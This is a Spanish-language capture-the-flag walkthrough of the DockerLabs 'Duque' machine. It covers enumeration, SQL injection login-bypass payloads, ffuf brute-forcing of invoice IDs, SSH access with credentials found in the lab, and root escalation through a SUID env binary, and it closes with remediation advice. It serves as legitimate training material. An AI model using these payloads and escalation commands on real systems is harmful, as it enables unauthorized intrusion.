> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/duque.md).

# Duque

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux mediante enumeracion web, SQL Injection, fuerza bruta de identificadores y abuso de un binario SUID.

El objetivo es acceder al panel interno de facturacion, obtener credenciales validas y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -sC -p- 172.17.0.2
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-5ec3e033e76209e94be8ad5816c4d295d2fd32db%2F2026-05-04-17-39-44.png?alt=media)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 8.9p1 Ubuntu |
| 80/tcp | HTTP     | Apache httpd 2.4.52  |

Al acceder al servicio HTTP aparece la web corporativa de `NaturGas Solutions`.

![Web principal](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-5431eb22172a0d2771832f2f409122f5609a8309%2F2026-05-04-17-41-25.png?alt=media)

***

## Enumeracion web

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh \
  -b 404 -t 60
```

![Gobuster](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-a14cd5a25de952af5c50bdfe944ae6126d3f5730%2F2026-05-04-17-44-19.png?alt=media)

Recursos interesantes encontrados:

| Recurso          | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.php`     | 200    | Pagina principal       |
| `/intranet/`     | 301    | Posible zona interna   |
| `/bills/`        | 301    | Sistema de facturacion |
| `/server-status` | 403    | Acceso prohibido       |

Al acceder a `/bills/` aparece un formulario de login.

![Login bills](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-bd1759a9662a69fa7d019ea38aff20f639d6ab55%2F2026-05-04-17-44-34.png?alt=media)

***

## Bypass del login con SQL Injection

Se prueba un payload clasico de SQL Injection:

```
' OR 1=1-- -
```

Con ese payload se inicia sesion, pero se accede como un usuario sin privilegios suficientes para ver el area de facturacion.

![PHPSESSID](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ae7c06e760316ebb833f989eff69f3763569f387%2F2026-05-04-17-47-24.png?alt=media)

![Acceso denegado](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-756dc3462becb51c70900929070dc5a86b679372%2F2026-05-04-17-45-09.png?alt=media)

Se prueba otro payload para apuntar al usuario con id `3`:

```
' OR id=3 -- -
```

![SQLi admin](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ffb6d71f66e9cb271229d5bb9861a1064274c7c7%2F2026-05-04-18-05-03.png?alt=media)

Con este payload se consigue acceder como `admin`.

![Panel admin](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-d497ac6a78f4af9a1184d6d78c41b96d88b47105%2F2026-05-04-18-05-10.png?alt=media)

***

## Enumeracion de facturas

El panel permite buscar facturas por el parametro `id`:

```
/bills/panel.php?id=<ID>
```

Se genera un diccionario con el patron observado `xy[a-z][0-9][0-9][0-9]`:

```bash
python3 -c "import string; [print(f'xy{c}{n:03}') for c in string.ascii_lowercase for n in range(1000)]" > diccionario_xya.txt
```

![Diccionario](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-4d7488490efd1a7a67d5da8179e32bf47be2e83a%2F2026-05-04-23-55-10.png?alt=media)

Se lanza `ffuf` usando la cookie de sesion del usuario admin:

```bash
ffuf -u "http://172.17.0.2/bills/panel.php?id=FUZZ" \
  -w diccionario_xya.txt \
  -H "Cookie: PHPSESSID=3us9avkmhl913nd3tnrob7ea5p" \
  -fs 5906 -r -t 50
```

![ffuf](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-145a9f6cfb72923eea93fd4357d3034190c9a551%2F2026-05-04-23-54-09.png?alt=media)

El identificador valido encontrado es:

```
xyc724
```

Al consultarlo en el panel se muestra una factura con credenciales.

![Credenciales duque](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-8f0337261a7cd08deb81d3898a9015383345dc2d%2F2026-05-04-23-54-17.png?alt=media)

Credenciales encontradas:

```
Usuario: duque
Password: duquelaje81029557!
```

***

## Acceso inicial

Con las credenciales obtenidas se accede por SSH:

```bash
ssh duque@172.17.0.2
```

Se obtiene una shell como el usuario `duque`.

***

## Escalada de privilegios

Primero se comprueban los permisos sudo:

```bash
sudo -l
```

El usuario `duque` no puede ejecutar comandos mediante sudo.

Despues se buscan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

![SUID](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-bc966a5210811154fad2d5d7e7adb0211bf7240a%2F2026-05-04-23-56-51.png?alt=media)

Entre los binarios aparece `/usr/bin/env` con permisos SUID. Segun GTFOBins, `env` permite ejecutar una shell manteniendo privilegios.

Se ejecuta:

```bash
/usr/bin/env /bin/sh -p
```

El flag `-p` conserva los privilegios efectivos del binario SUID.

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-bc966a5210811154fad2d5d7e7adb0211bf7240a%2F2026-05-04-23-56-51.png?alt=media)

Se confirma el acceso:

```bash
id
```

Resultado:

```
uid=1000(duque) gid=1000(duque) euid=0(root) groups=1000(duque)
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Login vulnerable a SQL Injection
* Control de acceso debil en el panel de facturacion
* Identificadores de factura predecibles
* Credenciales expuestas en una factura interna
* Binario `/usr/bin/env` con permisos SUID

### Puntos clave

| Fase                | Tecnica             | Resultado                  |
| ------------------- | ------------------- | -------------------------- |
| Reconocimiento      | Nmap                | SSH y HTTP expuestos       |
| Enumeracion web     | Gobuster            | Descubrimiento de `/bills` |
| Explotacion web     | SQL Injection       | Acceso como `admin`        |
| Enumeracion interna | ffuf sobre `id`     | Factura `xyc724`           |
| Credenciales        | Lectura de factura  | Usuario `duque`            |
| Escalada            | SUID `/usr/bin/env` | Shell con `euid=0`         |

### Recomendaciones

* Usar consultas preparadas para evitar SQL Injection
* Aplicar controles de autorizacion robustos en cada recurso interno
* Evitar identificadores predecibles para datos sensibles
* No almacenar credenciales en facturas o documentos internos
* Revisar binarios SUID y eliminar permisos peligrosos en herramientas abusables
